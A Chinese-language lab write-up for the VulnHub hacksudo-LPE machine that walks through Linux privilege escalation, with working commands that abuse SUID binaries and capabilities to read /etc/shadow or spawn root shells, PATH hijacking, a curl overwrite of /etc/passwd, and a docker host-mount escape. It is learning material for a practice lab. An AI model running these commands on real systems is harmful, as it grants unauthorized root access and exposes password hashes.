vulnhub靶场【hacksudo】之LPE的后续提权方法学习

前言

靶场:hacksudo-lpe的后几个challenge

基于上篇靶场hacksudo-plesudo提权

SUID文件提权

ar文件提权

使用find寻找具有SUID权限的文件

shell 复制代码
find / -perm -u=s -type f 2>/dev/null

查看ar的SUID用法

shell 复制代码
sudo install -m =xs $(which ar) .

TF=$(mktemp -u)
LFILE="/etc/shadow"
./ar r "$TF" "$LFILE"
cat "$TF"

可以看到用法是越权查看文件

sh提权

这个文件名可能不一样,但是性质是一样的,也就是名称不同。

使用find寻找具有SUID权限文件

shell 复制代码
find / -perm -4000 -exec ls -al {} \; 2>/dev/null

因为是可执行文件,使用strings查看,因为内容太多,这里我是先直接执行,发现另起一个shell终端,并且还是当前用户的终端,所以,猜测是执行sh

shell 复制代码
./bash -p

所以直接使用即可

切换用户提权

使用find寻找具有SUID权限文件

shell 复制代码
find / -perm -4000 -print 2>/dev/null

因为知道密码,所以直接替换后,使用上一个进行提取即可

base32

使用find寻找具有SUID权限文件

shell 复制代码
find / -perm -u=s -type f 2>/dev/null

测试发现是base32,那么就可以直接进行越权读取

bash提取

使用find寻找

shell 复制代码
find / -perm -4000 -user root -exec ls -al {} \; 2>/dev/null

查看文件类型,属于可执行文件,尝试查看帮助,发现是命令bash本身

使用bash -p即可提取

cat提取

使用find寻找具有SUID权限文件

shell 复制代码
find / -perm -4000 -print 2>/dev/null

查看文件类型,发现是可执行文件,并且查看帮助,确定为cat命令

那么直接使用查看,越权查看文件

chmod提取

使用find寻找具有SUID权限文件

shell 复制代码
find / -perm -u=s -type f 2>/dev/null

查看文件类型,发现是可执行文件,并且测试帮助,确定为chmod命令

那么修改文件为其他人可读可写可执行即可,不过注意,修改时,有时父目录也是有权限限制的,这个别忘了修改

chroot提取

使用find寻找具有SUID权限文件

shell 复制代码
find / -perm -4000 -user root -print 2>/dev/null

查看文件类型,为可执行文件,并且查看帮助,确定是命令chroot

shell 复制代码
./chroot / /bin/sh -p
#即可提取

cp提取

使用find寻找具有SUID权限文件

shell 复制代码
find / -perm -u=s -type f 2>/dev/null

查看文件类型为可执行文件,并查看帮助,确定为cp命令

与之前使用sudocp进行提取用法差不多

三种方法,复制并读取,复制写入,第三种记录一下,之前并没碰到

shell 复制代码
LFILE="/etc/shadow"
./cp --attributes-only --preserve=all ./cp "$LFILE"

CPUlimit提取

使用find寻找具有SUID权限的文件

shell 复制代码
find / -perm -4000 -user root -print 2>/dev/null

查看文件类型为可执行文件,并且确定命令为CPUlimit

查看使用方法

shell 复制代码
./cpulimit -l 100 -f -- /bin/sh -p

cut提取

使用find寻找具有SUID权限文件

shell 复制代码
find / -perm -u=s -type f 2>/dev/null

查看文件类型为可执行文件,并查看帮助,确定为命令cut

用法与使用sudo提取时一样

shell 复制代码
LFILE="/etc/shadow"
./cut -d "" -f1 "$LFILE"

sh提取

使用find寻找具有SUID权限文件

shell 复制代码
find / -perm -4000 -exec ls -al {} \; 2>/dev/null

查看文件类型为可执行文件,并且测试发现是sh,直接使用sh -p提取即可

date提取

使用find寻找具有SUID权限文件

shell 复制代码
find / -perm -4000 -print 2>/dev/null

查看文件类型为可执行文件,查看帮助确定为命令date

用法与具有sudo权限是一样的

shell 复制代码
date -f "/etc/shadow"

make提取

使用find寻找具有SUID权限文件

shell 复制代码
find / -perm -4000 -print 2>/dev/null

查看文件类型为可执行文件,并且测试,大概率为make命令

用法

shell 复制代码
COMMAND='/bin/sh -p'
./make -s --eval=$'x:\n\t-'"$COMMAND"

脚本语言Capabilities 提权

gdb语言

使用find命令寻找对于其他用户也是可以执行gdb的文件

shell 复制代码
find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法,可以看到是查看是否具有ep权限的,可以使用getcap查看,这里getcap环境变量问题,可以先找到其位置,xargs就是把前面的输出作为getcap的目标

shell 复制代码
./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

node语言

使用find寻找

shell 复制代码
find / -name "getcap" 2>/dev/null
find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法

shell 复制代码
cp $(which node) .
sudo setcap cap_setuid+ep node

./node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

测试,发现无权限使用setcap,那就无法修改,无法提取,只能到此

perl语言

之前确认了getcap的命令位置,以及可使用,所以,直接搜索

shell 复制代码
find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法

shell 复制代码
cp $(which perl) .
sudo setcap cap_setuid+ep perl

./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

这里因为在当前用户目录下,有权限,并且满足条件。所以可以到目录下直接使用

php语言

使用find寻找

shell 复制代码
find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法

shell 复制代码
cp $(which php) .
sudo setcap cap_setuid+ep php

CMD="/bin/sh"
./php -r "posix_setuid(0); system('$CMD');"

进行提取

python语言

使用find寻找

shell 复制代码
find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法

shell 复制代码
cp $(which python) .
sudo setcap cap_setuid+ep python

./python -c 'import os; os.setuid(0); os.system("/bin/sh")'

ruby语言

使用find寻找

shell 复制代码
find / -type f -executable 2>/dev/null | xargs /bin/sbin/getcap -r 2>/dev/null

查看用法

shell 复制代码
cp $(which ruby) .
sudo setcap cap_setuid+ep ruby

./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

python3语言

使用find寻找

shell 复制代码
find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法

shell 复制代码
cp $(which python) .
sudo setcap cap_setuid+ep python

./python -c 'import os; os.setuid(0); os.system("/bin/sh")'

python2是一样的,都是python语言,只是版本不同

环境变量提权

apt-get临时变量

使用find寻找具有SUID权限的文件

shell 复制代码
find / -perm -u=s -type f 2>/dev/null

不过测试,发现应该是调用apt-get,为什么呢,因为不管传参是什么都不会被接收,说明该文件本身不是apt,而是调用的

既然是调用,那么就可以考虑环境变量,利用export设置临时变量,并且是具有优先权的,这个最好是在/tmp目录下新建apt-get,因为这是权限允许范围内的。

然后把文件给予执行权限,执行shell时,就会提权成功

ftp临时变量

使用find寻找具有SUID权限的文件

shell 复制代码
find / -perm -u=s -type f 2>/dev/null

测试文件发现,涉及到ftp,并且并不是ftp命令,参数无法接收,也就是其调用了ftp,那么尝试设置临时变量来覆盖,与上面一样,最好是在/tmp目录进行

可写文件滥用提权

利用curl

使用find寻找具有SUID权限的文件,不过这里找到的是curl

shell 复制代码
find - perm -u=s -type f 2>/dev/null

在上一篇的sudo提权文章中,个人以为只能下载,后又研究一下 ,发现不止是http协议,也是可以利用file协议与curl配合,所以就可以进行读取本地文件或写入本地文件

shell 复制代码
【curl写入】
LFILE=file_to_write
TF=$(mktemp)
echo DATA >$TF
curl "file://$TF" -o "$LFILE"

【curl读取】
LFILE=/tmp/file_to_read
curl file://$LFILE

复制/etc/passwd文件,然后修改这个复制id文件,再通过curl重新覆盖原本的/etc/passwd文件

使用su命令切换到自己本身的用户,因为知道自己本身的密码

利用具有SUID的py文件

使用find寻找具有SUID权限文件

shell 复制代码
find /-perm -4000 -print 2>/dev/null

可以看到这个python文件,具有SUID权限,但是不能直接写入,因为其所属者和所属组都是root,且其他人无写入权限,不过这里导入两个包ossys,寻找这两个包,看其权限,发现并未有权限

shell 复制代码
find / -name "os.py" -exec ls -l {} \; 2>/dev/null

寻找导入模块os.py位置以及权限,是否可写

但是发现寻找sys.py,确没有这个文件,那么能否自己写这个包呢,进行测试,也是无权限写入

这就不知道该怎么提权了,又不能写入

可读文件滥用提权

cpio提权

使用find寻找具有SUID权限的文件

shell 复制代码
find / -perm -u=s -type f 2>/dev/null

测试发现,本身就是命令cpio,查看用法,发现该命令可进行读、写等操作

链接https://gtfobins.github.io/gtfobins/cpio/#suid

shell 复制代码
【读文件内容】
LFILE="/root/root.txt"
TF=$(mktemp -d)
echo "$LFILE" | ./cpio -R $UID -dp $TF
cat "$TF/$LFILE"

或者
echo "/root/root.txt" | cpio -o

git提权

使用find寻找具有SUID权限的文件

shell 复制代码
find / -perm -4000 -print 2>/dev/null

查看其用法,可用的操作很多,尤其是具有SUID权限

链接https://gtfobins.github.io/gtfobins/git/#limited-suid

shell 复制代码
【读取文件内容】
./git diff /dev/null /root/root.txt

测试获取shell,发现不行,当前只能读取文件内容

docker提权

当使用find等搜索无发现时,查看id发现,当前用户处于docker,不过docker中并无任何镜像

在进行docker逃逸时,常用的镜像就是alpine

因为docker默认源是在国外,并且大部分的docker源可能都失效,所以这里在kali中先下载镜像,然后导出,再使用靶机下载

靶机导入

查看用法,大致都是这一种

shell 复制代码
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

通配符滥用

这里其实就需要构造条件来满足,但是这里并无条件,需要自己使用root先创建条件,这里可以看参考链接学习https://www.freebuf.com/articles/system/176255.html

crontab定时提权

使用find寻找具有SUID权限用户发现暂无,使用find寻找capabilities的特权文件,发现暂无。

查看定时任务,一般使用crontab可查看文件/etc/crontab

发现定时任务,每一分钟执行这个python文件

这个文件可以写入,查看文件内容

那么自己写入一个唤起bash终端,因为所有者是root,所以导致提权成功

当然,这是需要等待一分钟的时间,也就是当定时任务执行的时候

总结

通过该挑战可以学习到各种方式的提权,并且是不依赖漏洞的。

大部分基于SUID和sudo进行提权的

以及一个环境变量和capabilities的权限

对于一些文件的修改,而可以间接提权

相关推荐
指掀涛澜天下惊2 分钟前
强化学习进阶篇八 策略梯度算法
深度学习·学习·算法·强化学习
star learning white19 分钟前
STM32入门学习5
stm32·嵌入式硬件·学习
Fnetlink121 分钟前
Fnet 云网安 260904
网络·人工智能·安全·web安全·网络安全
传奇开心果编程22 分钟前
【Rust入门知识点学与练】第4课:条件判断 if / else
开发语言·学习·rust
天远数科42 分钟前
风险治理实战:基于天远车信盟出险构建自动化理赔核保流水线
java·网络·人工智能·自动化
lifallen1 小时前
Skill 的生命周期:问题消失以后
人工智能·学习·ai·ai编程
千谦阙听1 小时前
C++类和对象(中):默认成员函数、构造与析构、拷贝构造、运算符重载
开发语言·c++·学习
志栋智能1 小时前
安全超自动化如何支持大规模安全运营?
网络·安全·自动化
星恒讯工业路由器2 小时前
农村宽带覆盖难?无线专网方案正在改写“最后一公里”规则
网络·物联网·网桥·无线网桥·农村宽带覆盖·无线专网·户外网络
Agudamu11612 小时前
AI 视频学习笔记工具拆解:4款工具谁能把视频变成复习资料
人工智能·学习·音视频